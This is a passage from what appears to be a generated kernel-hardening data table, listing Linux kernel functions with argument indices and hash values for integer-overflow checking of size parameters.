fw_iso_buffer_init 3 54582 _000219_hash NULL ++_000220_hash garmin_write_bulk 3 58191 _000220_hash NULL ++_000221_hash garp_attr_create 3 3883 _000221_hash NULL ++_000222_hash get_arg 3 5694 _000222_hash NULL ++_000223_hash getdqbuf 1 62908 _000223_hash NULL ++_000224_hash get_fdb_entries 3 41916 _000224_hash NULL ++_000225_hash get_indirect_ea 4 51869 _000225_hash NULL ++_000226_hash get_registers 3 26187 _000226_hash NULL ++_000227_hash get_scq 2 10897 _000227_hash NULL ++_000228_hash get_server_iovec 2 16804 _000228_hash NULL ++_000229_hash get_ucode_user 3 38202 _000229_hash NULL ++_000230_hash get_user_cpu_mask 2 14861 _000230_hash NULL ++_000231_hash gfs2_alloc_sort_buffer 1 18275 _000231_hash NULL ++_000232_hash gfs2_glock_nq_m 1 20347 _000232_hash NULL ++_000233_hash gigaset_initcs 2 43753 _000233_hash NULL ++_000234_hash gigaset_initdriver 2 1060 _000234_hash NULL ++_000235_hash gs_alloc_req 2 58883 _000235_hash NULL ++_000236_hash gs_buf_alloc 2 25067 _000236_hash NULL ++_000237_hash gsm_data_alloc 3 42437 _000237_hash NULL ++_000238_hash gss_pipe_downcall 3 23182 _000238_hash NULL ++_000239_hash handle_request 9 10024 _000239_hash NULL ++_000240_hash hash_new 1 62224 _000240_hash NULL ++_000241_hash hashtab_create 3 33769 _000241_hash NULL ++_000242_hash hcd_buffer_alloc 2 27495 _000242_hash NULL ++_000243_hash hci_sock_setsockopt 5 28993 _000243_hash NULL ++_000244_hash heap_init 2 49617 _000244_hash NULL ++_000245_hash hest_ghes_dev_register 1 46766 _000245_hash NULL ++_000246_hash hidraw_get_report 3 45609 _000246_hash NULL ++_000247_hash hidraw_report_event 3 49578 _000509_hash NULL nohasharray ++_000248_hash hidraw_send_report 3 23449 _000248_hash NULL ++_000249_hash hpfs_translate_name 3 41497 _000249_hash NULL ++_000250_hash hysdn_conf_write 3 52145 _000250_hash NULL ++_000251_hash hysdn_log_write 3 48694 _000251_hash NULL ++_000252_hash __i2400mu_send_barker 3 23652 _000252_hash NULL ++_000253_hash i2cdev_read 3 1206 _000253_hash NULL ++_000254_hash i2cdev_write 3 23310 _000254_hash NULL ++_000255_hash i2o_parm_field_get 5 34477 _000255_hash NULL ++_000256_hash i2o_parm_table_get 6 61635 _000256_hash NULL ++_000257_hash ib_copy_from_udata 3 59502 _000257_hash NULL ++_000258_hash ib_ucm_alloc_data 3 36885 _000258_hash NULL ++_000259_hash ib_umad_write 3 47993 _000259_hash NULL ++_000260_hash ib_uverbs_unmarshall_recv 5 12251 _000260_hash NULL ++_000261_hash icn_writecmd 2 38629 _000261_hash NULL ++_000262_hash ide_driver_proc_write 3 32493 _000262_hash NULL ++_000263_hash ide_settings_proc_write 3 35110 _000263_hash NULL ++_000264_hash idetape_chrdev_write 3 53976 _000264_hash NULL ++_000265_hash idmap_pipe_downcall 3 14591 _000265_hash NULL ++_000266_hash ieee80211_build_probe_req 7-5 27660 _000266_hash NULL ++_000267_hash ieee80211_if_write 3 34894 _000267_hash NULL ++_000268_hash if_write 3 51756 _000268_hash NULL ++_000269_hash ilo_write 3 64378 _000269_hash NULL ++_000270_hash ima_write_policy 3 40548 _000270_hash NULL ++_000271_hash init_data_container 1 60709 _000271_hash NULL ++_000272_hash init_send_hfcd 1 34586 _000272_hash NULL ++_000273_hash insert_dent 7 65034 _000273_hash NULL ++_000274_hash interpret_user_input 2 19393 _000274_hash NULL ++_000275_hash int_proc_write 3 39542 _000275_hash NULL ++_000276_hash ioctl_private_iw_point 7 1273 _000276_hash NULL ++_000277_hash iov_iter_copy_from_user 4 31942 _000277_hash NULL ++_000278_hash iov_iter_copy_from_user_atomic 4 56368 _000278_hash NULL ++_000279_hash iowarrior_write 3 18604 _000279_hash NULL ++_000280_hash ipc_alloc 1 1192 _000280_hash NULL ++_000281_hash ipc_rcu_alloc 1 21208 _000281_hash NULL ++_000282_hash ip_options_get_from_user 4 64958 _000282_hash NULL ++_000283_hash ipv6_renew_option 3 38813 _000283_hash NULL ++_000284_hash ip_vs_conn_fill_param_sync 6 29771 _002404_hash NULL nohasharray ++_000285_hash ip_vs_create_timeout_table 2 64478 _000285_hash NULL ++_000286_hash ipw_queue_tx_init 3 49161 _000286_hash NULL ++_000287_hash irda_setsockopt 5 19824 _000287_hash NULL ++_000288_hash irias_new_octseq_value 2 13596 _003296_hash NULL nohasharray ++_000289_hash ir_lirc_transmit_ir 3 64403 _000289_hash NULL ++_000290_hash irnet_ctrl_write 3 24139 _000290_hash NULL ++_000291_hash isdn_add_channels 3 40905 _000291_hash NULL ++_000292_hash isdn_ppp_fill_rq 2 41428 _000292_hash NULL ++_000293_hash isdn_ppp_write 4 29109 _000293_hash NULL ++_000294_hash isdn_read 3 50021 _000294_hash NULL ++_000295_hash isdn_v110_open 3 2418 _000295_hash NULL ++_000296_hash isdn_writebuf_stub 4 52383 _000296_hash NULL ++_000297_hash islpci_mgt_transmit 5 34133 _000297_hash NULL ++_000298_hash iso_callback 3 43208 _000298_hash NULL ++_000299_hash iso_packets_buffer_init 3-4 29061 _000299_hash NULL ++_000300_hash it821x_firmware_command 3 8628 _000300_hash NULL ++_000301_hash ivtv_buf_copy_from_user 4 25502 _000301_hash NULL ++_000302_hash iwch_alloc_fastreg_pbl 2 40153 _000302_hash NULL ++_000303_hash iwl_calib_set 3 34400 _002188_hash NULL nohasharray ++_000304_hash jbd2_journal_init_revoke_table 1 36336 _000304_hash NULL ++_000305_hash jffs2_alloc_full_dirent 1 60179 _001111_hash NULL nohasharray ++_000306_hash journal_init_revoke_table 1 56331 _000306_hash NULL ++_000307_hash kcalloc 1-2 27770 _000307_hash NULL ++_000309_hash keyctl_instantiate_key_common 4 47889 _000309_hash NULL ++_000310_hash keyctl_update_key 3 26061 _000310_hash NULL ++_000311_hash __kfifo_alloc 2-3 22173 _000311_hash NULL ++_000313_hash kfifo_copy_from_user 3 5091 _000313_hash NULL ++_000314_hash kmalloc_node 1 50163 _003293_hash NULL nohasharray ++_000315_hash kmalloc_parameter 1 65279 _000315_hash NULL ++_000316_hash kmem_alloc 1 31920 _000316_hash NULL ++_000317_hash kobj_map 2-3 9566 _000317_hash NULL ++_000319_hash kone_receive 4 4690 _000319_hash NULL ++_000320_hash kone_send 4 63435 _000320_hash NULL ++_000321_hash krealloc 2 14908 _000321_hash NULL ++_000322_hash kvmalloc 1 32646 _000322_hash NULL ++_000323_hash kvm_read_guest_atomic 4 10765 _000323_hash NULL ++_000324_hash kvm_read_guest_cached 4 39666 _000324_hash NULL ++_000325_hash kvm_read_guest_page 5 18074 _000325_hash NULL ++_000326_hash kzalloc 1 54740 _000326_hash NULL ++_000327_hash l2cap_sock_setsockopt 5 50207 _000327_hash NULL ++_000328_hash l2cap_sock_setsockopt_old 4 29346 _000328_hash NULL ++_000329_hash lane2_associate_req 4 45398 _000329_hash NULL ++_000330_hash lbs_debugfs_write 3 48413 _000330_hash NULL ++_000331_hash lcd_write 3 14857 _000331_hash &_000014_hash ++_000332_hash ldm_frag_add 2 5611 _000332_hash NULL ++_000333_hash __lgread 4 31668 _000333_hash NULL ++_000334_hash libipw_alloc_txb 1-3-2 27579 _000334_hash NULL ++_000335_hash link_send_sections_long 4 46556 _000335_hash NULL ++_000336_hash listxattr 3 12769 _000336_hash NULL ++_000337_hash LoadBitmap 2 19658 _000337_hash NULL ++_000338_hash load_msg 2 95 _000338_hash NULL ++_000339_hash lpfc_debugfs_dif_err_write 3 17424 _000339_hash NULL ++_000340_hash lp_write 3 9511 _000340_hash NULL ++_000341_hash mb_cache_create 2 17307 _000341_hash NULL ++_000342_hash mce_write 3 26201 _000342_hash NULL ++_000343_hash mcs7830_get_reg 3 33308 _000343_hash NULL ++_000344_hash mcs7830_set_reg 3 31413 _000344_hash NULL ++_000345_hash memcpy_fromiovec 3 55247 _000345_hash NULL ++_000346_hash memcpy_fromiovecend 3-4 2707 _000346_hash NULL ++_000348_hash mempool_kmalloc 2 53831 _000348_hash NULL ++_000349_hash mempool_resize 2 47983 _001821_hash NULL nohasharray ++_000350_hash mem_rw 3 22085 _000350_hash NULL ++_000351_hash mgmt_control 3 7349 _000351_hash NULL ++_000352_hash mgmt_pending_add 5 46976 _000352_hash NULL ++_000353_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000353_hash NULL ++_000354_hash mmc_alloc_sg 1 21504 _000354_hash NULL ++_000355_hash mmc_send_bus_test 4 18285 _000355_hash NULL ++_000356_hash mmc_send_cxd_data 5 38655 _000356_hash NULL ++_000357_hash module_alloc_update_bounds 1 47205 _000357_hash NULL ++_000358_hash move_addr_to_kernel 2 32673 _000358_hash NULL ++_000359_hash mpi_alloc_limb_space 1 23190 _000359_hash NULL ++_000360_hash mpi_resize 2 44674 _000360_hash NULL ++_000361_hash mptctl_getiocinfo 2 28545 _000361_hash NULL ++_000362_hash mtdchar_readoob 4 31200 _000362_hash NULL ++_000363_hash mtdchar_write 3 56831 _002688_hash NULL nohasharray ++_000364_hash mtdchar_writeoob 4 3393 _000364_hash NULL ++_000365_hash mtd_device_parse_register 5 5024 _000365_hash NULL ++_000366_hash mtf_test_write 3 18844 _000366_hash NULL ++_000367_hash mtrr_write 3 59622 _000367_hash NULL ++_000368_hash musb_test_mode_write 3 33518 _000368_hash NULL ++_000369_hash mwifiex_get_common_rates 3 17131 _000369_hash NULL ++_000370_hash mwifiex_update_curr_bss_params 5 16908 _000370_hash NULL ++_000371_hash nand_bch_init 2-3 16280 _001341_hash NULL nohasharray ++_000373_hash ncp_file_write 3 3813 _000373_hash NULL ++_000374_hash ncp__vol2io 5 4804 _000374_hash NULL ++_000375_hash nes_alloc_fast_reg_page_list 2 33523 _000375_hash NULL ++_000376_hash nfc_targets_found 3 29886 _000376_hash NULL ++_000377_hash nfs4_acl_new 1 49806 _000377_hash NULL ++_000378_hash nfs4_write_cached_acl 4 15070 _000378_hash NULL ++_000379_hash nfsd_cache_update 3 59574 _000379_hash NULL ++_000380_hash nfsd_symlink 6 63442 _000380_hash NULL ++_000381_hash nfs_idmap_get_desc 2-4 42990 _000381_hash NULL ++_000383_hash nfs_readdir_make_qstr 3 12509 _000383_hash NULL ++_000384_hash note_last_dentry 3 12285 _000384_hash NULL ++_000385_hash ntfs_copy_from_user 3-5 15072 _000385_hash NULL ++_000387_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000387_hash NULL ++_000389_hash ntfs_ucstonls 3-5 23097 _000389_hash NULL ++_000390_hash nvme_alloc_iod 1 56027 _000390_hash NULL ++_000391_hash nvram_write 3 3894 _000391_hash NULL ++_000392_hash o2hb_debug_create 4 18744 _000392_hash NULL ++_000393_hash o2net_send_message_vec 4 879 _001792_hash NULL nohasharray ++_000394_hash ocfs2_control_cfu 2 37750 _000394_hash NULL ++_000395_hash oom_adjust_write 3 41116 _000395_hash NULL ++_000396_hash oom_score_adj_write 3 42594 _000396_hash NULL ++_000397_hash opera1_xilinx_rw 5 31453 _000397_hash NULL ++_000398_hash oprofilefs_ulong_from_user 3 57251 _000398_hash NULL ++_000399_hash opticon_write 4 60775 _000399_hash NULL ++_000400_hash orig_node_add_if 2 32833 _000400_hash NULL ++_000401_hash orig_node_del_if 2 28371 _000401_hash NULL ++_000402_hash p9_check_zc_errors 4 15534 _000402_hash NULL ++_000403_hash packet_buffer_init 2 1607 _000403_hash NULL ++_000404_hash packet_setsockopt 5 17662 _000404_hash NULL ++_000405_hash parse_command 2 37079 _000405_hash NULL ++_000406_hash pcbit_writecmd 2 12332 _000406_hash NULL ++_000407_hash pcmcia_replace_cis 3 57066 _000407_hash NULL ++_000408_hash pgctrl_write 3 50453 _000408_hash NULL ++_000409_hash pg_write 3 40766 _000409_hash NULL ++_000410_hash pidlist_allocate 1 64404 _000410_hash NULL ++_000411_hash pipe_iov_copy_from_user 3 23102 _000411_hash NULL ++_000412_hash pipe_iov_copy_to_user 3 3447 _000412_hash NULL ++_000413_hash pkt_add 3 39897 _000413_hash NULL ++_000414_hash pktgen_if_write 3 55628 _000414_hash NULL ++_000415_hash platform_device_add_data 3 310 _000415_hash NULL ++_000416_hash platform_device_add_resources 3 13289 _000416_hash NULL ++_000417_hash pm_qos_power_write 3 52513 _000417_hash NULL ++_000418_hash pnpbios_proc_write 3 19758 _000418_hash NULL ++_000419_hash pool_allocate 3 42012 _000419_hash NULL ++_000420_hash posix_acl_alloc 1 48063 _000420_hash NULL ++_000421_hash ppp_cp_parse_cr 4 5214 _000421_hash NULL ++_000422_hash ppp_write 3 34034 _000422_hash NULL ++_000423_hash pp_read 3 33210 _000423_hash NULL ++_000424_hash pp_write 3 39554 _000424_hash NULL ++_000425_hash printer_req_alloc 2 62687 _001807_hash NULL nohasharray ++_000426_hash printer_write 3 60276 _000426_hash NULL ++_000427_hash prism2_set_genericelement 3 29277 _000427_hash NULL ++_000428_hash __probe_kernel_read 3 61119 _000428_hash NULL ++_000429_hash __probe_kernel_write 3 29842 _000429_hash NULL ++_000430_hash proc_coredump_filter_write 3 25625 _000430_hash NULL ++_000431_hash _proc_do_string 2 6376 _000431_hash NULL ++_000432_hash process_vm_rw_pages 5-6 15954 _000432_hash NULL ++_000434_hash proc_loginuid_write 3 63648 _000434_hash NULL ++_000435_hash proc_pid_attr_write 3 63845 _000435_hash NULL ++_000436_hash proc_scsi_devinfo_write 3 32064 _000436_hash NULL ++_000437_hash proc_scsi_write 3 29142 _000437_hash NULL ++_000438_hash proc_scsi_write_proc 3 267 _000438_hash NULL ++_000439_hash pstore_mkfile 5 50830 _000439_hash NULL ++_000440_hash pti_char_write 3 60960 _000440_hash NULL ++_000441_hash ptrace_writedata 4 45021 _000441_hash NULL ++_000442_hash pt_write 3 40159 _000442_hash NULL ++_000443_hash pvr2_ioread_set_sync_key 3 59882 _000443_hash NULL ++_000444_hash pvr2_stream_buffer_count 2 33719 _000444_hash NULL ++_000445_hash qdisc_class_hash_alloc 1 18262 _000445_hash NULL ++_000446_hash r3964_write 4 57662 _000446_hash NULL ++_000447_hash raw_seticmpfilter 3 6888 _000447_hash NULL ++_000448_hash raw_setsockopt 5 45800 _000448_hash NULL ++_000449_hash rawv6_seticmpfilter 5 12137 _000449_hash NULL ++_000450_hash ray_cs_essid_proc_write 3 17875 _000450_hash NULL ++_000451_hash rbd_add 3 16366 _000451_hash NULL ++_000452_hash rbd_snap_add 4 19678 _000452_hash NULL ++_000453_hash rdma_set_ib_paths 3 45592 _000453_hash NULL ++_000454_hash rds_page_copy_user 4 35691 _000454_hash NULL ++_000455_hash read 3 9397 _000455_hash NULL ++_000456_hash read_buf 2 20469 _000456_hash NULL ++_000457_hash read_cis_cache 4 29735 _000457_hash NULL ++_000458_hash realloc_buffer 2 25816 _000458_hash NULL ++_000459_hash realloc_packet_buffer 2 25569 _000459_hash NULL ++_000460_hash receive_DataRequest 3 9904 _000460_hash NULL ++_000461_hash recent_mt_proc_write 3 8206 _000461_hash NULL ++_000462_hash regmap_access_read_file 3 37223 _000462_hash NULL ++_000463_hash regmap_bulk_write 4 59049 _000463_hash NULL ++_000464_hash regmap_map_read_file 3 37685 _000464_hash NULL ++_000465_hash regset_tls_set 4 18459 _000465_hash NULL ++_000466_hash reg_w_buf 3 27724 _000466_hash NULL ++_000467_hash reg_w_ixbuf 4 34736 _000467_hash NULL ++_000468_hash remote_settings_file_write 3 22987 _000468_hash NULL ++_000469_hash request_key_auth_new 3 38092 _000469_hash NULL ++_000470_hash restore_i387_fxsave 2 17528 _000470_hash NULL ++_000471_hash revalidate 2 19043 _000471_hash NULL ++_000472_hash rfcomm_sock_setsockopt 5 18254 _000472_hash NULL ++_000473_hash rndis_add_response 2 58544 _000473_hash NULL ++_000474_hash rndis_set_oid 4 6547 _000474_hash NULL ++_000475_hash rngapi_reset 3 34366 _002911_hash NULL nohasharray ++_000476_hash roccat_common_receive 4 53407 _000476_hash NULL ++_000477_hash roccat_common_send 4 12284 _000477_hash NULL ++_000478_hash rpc_malloc 2 43573 _000478_hash NULL ++_000479_hash rt2x00debug_write_bbp 3 8212 _000479_hash NULL ++_000480_hash rt2x00debug_write_csr 3 64753 _000480_hash NULL ++_000481_hash rt2x00debug_write_eeprom 3 23091 _000481_hash NULL ++_000482_hash rt2x00debug_write_rf 3 38195 _000482_hash NULL ++_000483_hash rts51x_read_mem 4 26577 _000483_hash NULL ++_000484_hash rts51x_read_status 4 11830 _000484_hash NULL ++_000485_hash rts51x_write_mem 4 17598 _000485_hash NULL ++_000486_hash rw_copy_check_uvector 3 34271 _000486_hash NULL ++_000487_hash rxrpc_request_key 3 27235 _000487_hash NULL ++_000488_hash rxrpc_server_keyring 3 16431 _000488_hash NULL ++_000489_hash savemem 3 58129 _000489_hash NULL ++_000490_hash sb16_copy_from_user 10-7-6 55836 _000490_hash NULL ++_000493_hash sched_autogroup_write 3 10984 _000493_hash NULL ++_000494_hash scsi_mode_select 6 37330 _000494_hash NULL ++_000495_hash scsi_tgt_copy_sense 3 26933 _000495_hash NULL ++_000496_hash sctp_auth_create_key 1 51641 _000496_hash NULL ++_000497_hash sctp_getsockopt_delayed_ack 2 9232 _000497_hash NULL ++_000498_hash sctp_getsockopt_local_addrs 2 25178 _000498_hash NULL ++_000499_hash sctp_make_abort_user 3 29654 _000499_hash NULL ++_000500_hash sctp_setsockopt_active_key 3 43755 _000500_hash NULL ++_000501_hash sctp_setsockopt_adaptation_layer 3 26935 _001925_hash NULL nohasharray ++_000502_hash sctp_setsockopt_associnfo 3 51684 _000502_hash NULL ++_000503_hash sctp_setsockopt_auth_chunk 3 30843 _000503_hash NULL ++_000504_hash sctp_setsockopt_auth_key 3 3793 _000504_hash NULL ++_000505_hash sctp_setsockopt_autoclose 3 5775 _000505_hash NULL ++_000506_hash sctp_setsockopt_bindx 3 49870 _000506_hash NULL ++_000507_hash __sctp_setsockopt_connectx 3 46949 _000507_hash NULL ++_000508_hash sctp_setsockopt_context 3 31091 _000508_hash NULL ++_000509_hash sctp_setsockopt_default_send_param 3 49578 _000509_hash &_000247_hash ++_000510_hash sctp_setsockopt_delayed_ack 3 40129 _000510_hash NULL ++_000511_hash sctp_setsockopt_del_key 3 42304 _002281_hash NULL nohasharray ++_000512_hash sctp_setsockopt_events 3 18862 _000512_hash NULL ++_000513_hash sctp_setsockopt_hmac_ident 3 11687 _000513_hash NULL ++_000514_hash sctp_setsockopt_initmsg 3 1383 _000514_hash NULL ++_000515_hash sctp_setsockopt_maxburst 3 28041 _000515_hash NULL ++_000516_hash sctp_setsockopt_maxseg 3 11829 _000516_hash NULL ++_000517_hash sctp_setsockopt_peer_addr_params 3 734 _000517_hash NULL ++_000518_hash sctp_setsockopt_peer_primary_addr 3 13440 _000518_hash NULL ++_000519_hash sctp_setsockopt_rtoinfo 3 30941 _000519_hash NULL ++_000520_hash security_context_to_sid_core 2 29248 _000520_hash NULL ++_000521_hash sel_commit_bools_write 3 46077 _000521_hash NULL ++_000522_hash sel_write_avc_cache_threshold 3 2256 _000522_hash NULL ++_000523_hash sel_write_bool 3 46996 _000523_hash NULL ++_000524_hash sel_write_checkreqprot 3 60774 _000524_hash NULL ++_000525_hash sel_write_disable 3 10511 _000525_hash NULL ++_000526_hash sel_write_enforce 3 48998 _000526_hash NULL ++_000527_hash sel_write_load 3 63830 _000527_hash NULL ++_000528_hash send_bulk_static_data 3 61932 _000528_hash NULL ++_000529_hash send_control_msg 6 48498 _000529_hash NULL ++_000530_hash set_aoe_iflist 2 42737 _000530_hash NULL ++_000531_hash setkey_unaligned 3 39474 _000531_hash NULL ++_000532_hash set_registers 3 53582 _000532_hash NULL ++_000533_hash setsockopt 5 54539 _000533_hash NULL ++_000534_hash setup_req 3 5848 _000534_hash NULL ++_000535_hash setup_window 7-5-4-2 59178 _000535_hash NULL ++_000536_hash setxattr 4 37006 _000536_hash NULL ++_000537_hash sfq_alloc 1 2861 _000537_hash NULL ++_000538_hash sg_kmalloc 1 50240 _000538_hash NULL ++_000539_hash sgl_map_user_pages 2 30610 _000539_hash NULL ++_000540_hash shash_setkey_unaligned 3 8620 _000540_hash NULL ++_000541_hash shmem_xattr_alloc 2 61190 _000541_hash NULL ++_000542_hash sierra_setup_urb 5 46029 _000542_hash NULL ++_000543_hash simple_transaction_get 3 50633 _000543_hash NULL ++_000544_hash simple_write_to_buffer 2-5 3122 _000544_hash NULL ++_000546_hash sisusb_send_bulk_msg 3 17864 _000546_hash NULL ++_000547_hash skb_add_data 3 48363 _000547_hash NULL ++_000548_hash skb_do_copy_data_nocache 5 12465 _000548_hash NULL ++_000549_hash sl_alloc_bufs 2 50380 _000549_hash NULL ++_000550_hash sl_realloc_bufs 2 64086 _000550_hash NULL ++_000551_hash smk_write_ambient 3 45691 _000551_hash NULL ++_000552_hash smk_write_cipso 3 17989 _000552_hash NULL ++_000553_hash smk_write_direct 3 46363 _000553_hash NULL ++_000554_hash smk_write_doi 3 49621 _000554_hash NULL ++_000555_hash smk_write_load_list 3 52280 _000555_hash NULL ++_000556_hash smk_write_logging 3 2618 _000556_hash NULL ++_000557_hash smk_write_netlbladdr 3 42525 _000557_hash NULL ++_000558_hash smk_write_onlycap 3 14400 _000558_hash NULL ++_000559_hash snd_ctl_elem_user_tlv 3 11695 _000559_hash NULL ++_000560_hash snd_emu10k1_fx8010_read 5 9605 _000560_hash NULL ++_000561_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000561_hash NULL ++_000563_hash snd_gus_dram_poke 4 18525 _000563_hash NULL ++_000564_hash snd_hdsp_playback_copy 5 20676 _000564_hash NULL ++_000565_hash snd_info_entry_write 3 63474 _000565_hash NULL ++_000566_hash snd_korg1212_copy_from 6 36169 _000566_hash NULL ++_000567_hash snd_mem_proc_write 3 9786 _000567_hash NULL ++_000568_hash snd_midi_channel_init_set 1 30092 _000568_hash NULL ++_000569_hash snd_midi_event_new 1 9893 _000750_hash NULL nohasharray ++_000570_hash snd_opl4_mem_proc_write 5 9670 _000570_hash NULL ++_000571_hash snd_pcm_aio_read 3 13900 _000571_hash NULL ++_000572_hash snd_pcm_aio_write 3 28738 _000572_hash NULL ++_000573_hash snd_pcm_oss_write1 3 10872 _000573_hash NULL ++_000574_hash snd_pcm_oss_write2 3 27332 _000574_hash NULL ++_000575_hash snd_rawmidi_kernel_write1 4 56847 _000575_hash NULL ++_000576_hash snd_rme9652_playback_copy 5 20970 _000576_hash NULL ++_000577_hash snd_sb_csp_load_user 3 45190 _000577_hash NULL ++_000578_hash snd_usb_ctl_msg 8 8436 _000578_hash NULL ++_000579_hash sock_bindtodevice 3 50942 _000579_hash NULL ++_000580_hash sock_kmalloc 2 62205 _000580_hash NULL ++_000581_hash spidev_write 3 44510 _000581_hash NULL ++_000582_hash squashfs_read_table 3 16945 _000582_hash NULL ++_000583_hash srpt_alloc_ioctx 2-3 51042 _000583_hash NULL ++_000585_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000585_hash NULL ++_000586_hash st5481_setup_isocpipes 6-4 61340 _000586_hash NULL ++_000587_hash sta_agg_status_write 3 45164 _000587_hash NULL ++_000588_hash svc_setsockopt 5 36876 _000588_hash NULL ++_000589_hash sys_add_key 4 61288 _000589_hash NULL ++_000590_hash sys_modify_ldt 3 18824 _000590_hash NULL ++_000591_hash sys_semtimedop 3 4486 _000591_hash NULL ++_000592_hash sys_setdomainname 2 4373 _000592_hash NULL ++_000593_hash sys_sethostname 2 42962 _000593_hash NULL ++_000594_hash tda10048_writeregbulk 4 11050 _000594_hash NULL ++_000595_hash tipc_log_resize 1 34803 _000595_hash NULL ++_000596_hash tomoyo_write_self 3 45161 _000596_hash NULL ++_000597_hash tower_write 3 8580 _000597_hash NULL ++_000598_hash tpm_write 3 50798 _000598_hash NULL ++_000599_hash trusted_instantiate 3 4710 _000599_hash NULL ++_000600_hash trusted_update 3 12664 _000600_hash NULL ++_000601_hash tt_changes_fill_buffer 3 62649 _000601_hash NULL ++_000602_hash tty_buffer_alloc 2 45437 _000602_hash NULL ++_000603_hash __tun_chr_ioctl 4 22300 _000603_hash NULL ++_000604_hash ubi_more_leb_change_data 4 63534 _000604_hash NULL ++_000605_hash ubi_more_update_data 4 39189 _000605_hash NULL ++_000606_hash ubi_resize_volume 2 50172 _000606_hash NULL ++_000607_hash udf_alloc_i_data 2 35786 _000607_hash NULL ++_000608_hash uea_idma_write 3 64139 _000608_hash NULL ++_000609_hash uea_request 4 47613 _000609_hash NULL ++_000610_hash uea_send_modem_cmd 3 3888 _000610_hash NULL ++_000611_hash uio_write 3 43202 _000611_hash NULL ++_000612_hash um_idi_write 3 18293 _000612_hash NULL ++_000613_hash us122l_ctl_msg 8 13330 _000613_hash NULL ++_000614_hash usb_alloc_urb 1 43436 _000614_hash NULL ++_000615_hash usblp_new_writeurb 2 22894 _000615_hash NULL ++_000616_hash usblp_write 3 23178 _000616_hash NULL ++_000617_hash usbtest_alloc_urb 3-5 34446 _000617_hash NULL ++_000619_hash usbtmc_write 3 64340 _000619_hash NULL ++_000620_hash user_instantiate 3 26131 _000620_hash NULL ++_000621_hash user_update 3 41332 _000621_hash NULL ++_000622_hash uvc_simplify_fraction 3 31303 _000622_hash NULL ++_000623_hash uwb_rc_cmd_done 4 35892 _000623_hash NULL ++_000624_hash uwb_rc_neh_grok_event 3 55799 _000624_hash NULL ++_000625_hash v9fs_alloc_rdir_buf 2 42150 _000625_hash NULL ++_000626_hash __vb2_perform_fileio 3 63033 _000626_hash NULL ++_000627_hash vc_do_resize 3-4 48842 _000627_hash NULL ++_000629_hash vcs_write 3 3910 _000629_hash NULL ++_000630_hash vfd_write 3 14717 _000630_hash NULL ++_000631_hash vga_arb_write 3 36112 _000631_hash NULL ++_000632_hash vga_switcheroo_debugfs_write 3 33984 _000632_hash NULL ++_000633_hash vhci_get_user 3 45039 _000633_hash NULL ++_000634_hash video_proc_write 3 6724 _000634_hash NULL ++_000635_hash vlsi_alloc_ring 3-4 57003 _000635_hash NULL ++_000637_hash __vmalloc 1 61168 _000637_hash NULL ++_000638_hash vmalloc_32 1 1135 _000638_hash NULL ++_000639_hash vmalloc_32_user 1 37519 _000639_hash NULL ++_000640_hash vmalloc_exec 1 36132 _000640_hash NULL ++_000641_hash vmalloc_node 1 58700 _000641_hash NULL ++_000642_hash __vmalloc_node_flags 1 30352 _000642_hash NULL ++_000643_hash vmalloc_user 1 32308 _000643_hash NULL ++_000644_hash vol_cdev_direct_write 3 20751 _000644_hash NULL ++_000645_hash vp_request_msix_vectors 2 28849 _000645_hash NULL ++_000646_hash vring_add_indirect 3-4 20737 _000646_hash NULL ++_000648_hash vring_new_virtqueue 1 9671 _000648_hash NULL ++_000649_hash vxge_os_dma_malloc 2 46184 _000649_hash NULL ++_000650_hash vxge_os_dma_malloc_async 3 56348 _000650_hash NULL ++_000651_hash wdm_write 3 53735 _000651_hash NULL ++_000652_hash wiimote_hid_send 3 48528 _000652_hash NULL ++_000653_hash wl1273_fm_fops_write 3 60621 _000653_hash NULL ++_000654_hash wlc_phy_loadsampletable_nphy 3 64367 _000654_hash NULL ++_000655_hash write 3 62671 _000655_hash NULL ++_000656_hash write_flush 3 50803 _000656_hash NULL ++_000657_hash write_rio 3 54837 _000657_hash NULL ++_000658_hash x25_asy_change_mtu 2 26928 _000658_hash NULL ++_000659_hash xdi_copy_from_user 4 8395 _000659_hash NULL ++_000660_hash xfrm_dst_alloc_copy 3 3034 _000660_hash NULL ++_000661_hash xfrm_user_policy 4 62573 _000661_hash NULL ++_000662_hash xfs_attrmulti_attr_set 4 59346 _000662_hash NULL ++_000663_hash xfs_handle_to_dentry 3 12135 _000663_hash NULL ++_000664_hash __xip_file_write 3-4 2733 _000664_hash NULL ++_000665_hash xprt_rdma_allocate 2 31372 _000665_hash NULL ++_000666_hash zd_usb_iowrite16v_async 3 23984 _000666_hash NULL ++_000667_hash zd_usb_read_fw 4 22049 _000667_hash NULL ++_000668_hash zerocopy_sg_from_iovec 3 11828 _000668_hash NULL ++_000669_hash zoran_write 3 22404 _000669_hash NULL ++_000671_hash acpi_ex_allocate_name_string 2-1 7685 _002855_hash NULL nohasharray ++_000672_hash acpi_os_allocate_zeroed 1 37422 _000672_hash NULL ++_000673_hash acpi_ut_initialize_buffer 2 47143 _002314_hash NULL nohasharray ++_000674_hash ad7879_spi_xfer 3 36311 _000674_hash NULL ++_000675_hash add_new_gdb 3 27643 _000675_hash NULL ++_000676_hash add_numbered_child 5 14273 _000676_hash NULL ++_000677_hash add_res_range 4 21310 _000677_hash NULL ++_000678_hash addtgt 3 54703 _000678_hash NULL ++_000679_hash add_uuid 4 49831 _000679_hash NULL ++_000680_hash afs_cell_alloc 2 24052 _000680_hash NULL ++_000681_hash aggr_recv_addba_req_evt 4 38037 _000681_hash NULL ++_000682_hash agp_create_memory 1 1075 _000682_hash NULL ++_000683_hash agp_create_user_memory 1 62955 _000683_hash NULL ++_000684_hash alg_setsockopt 5 20985 _000684_hash NULL ++_000685_hash alloc_async 1 14208 _000685_hash NULL ++_000686_hash ___alloc_bootmem_nopanic 1 53626 _000686_hash NULL ++_000687_hash alloc_buf 1 34532 _000687_hash NULL ++_000688_hash alloc_chunk 1 49575 _000688_hash NULL ++_000689_hash alloc_context 1 41283 _000689_hash NULL ++_000690_hash alloc_ctrl_packet 1 44667 _000690_hash NULL ++_000691_hash alloc_data_packet 1 46698 _000691_hash NULL ++_000692_hash alloc_dca_provider 2 59670 _000692_hash NULL ++_000693_hash __alloc_dev_table 2 54343 _000693_hash NULL ++_000694_hash alloc_ep 1 17269 _000694_hash NULL ++_000695_hash __alloc_extent_buffer 3 15093 _000695_hash NULL ++_000696_hash alloc_group_attrs 2 9194 _000719_hash NULL nohasharray ++_000697_hash alloc_large_system_hash 2 64490 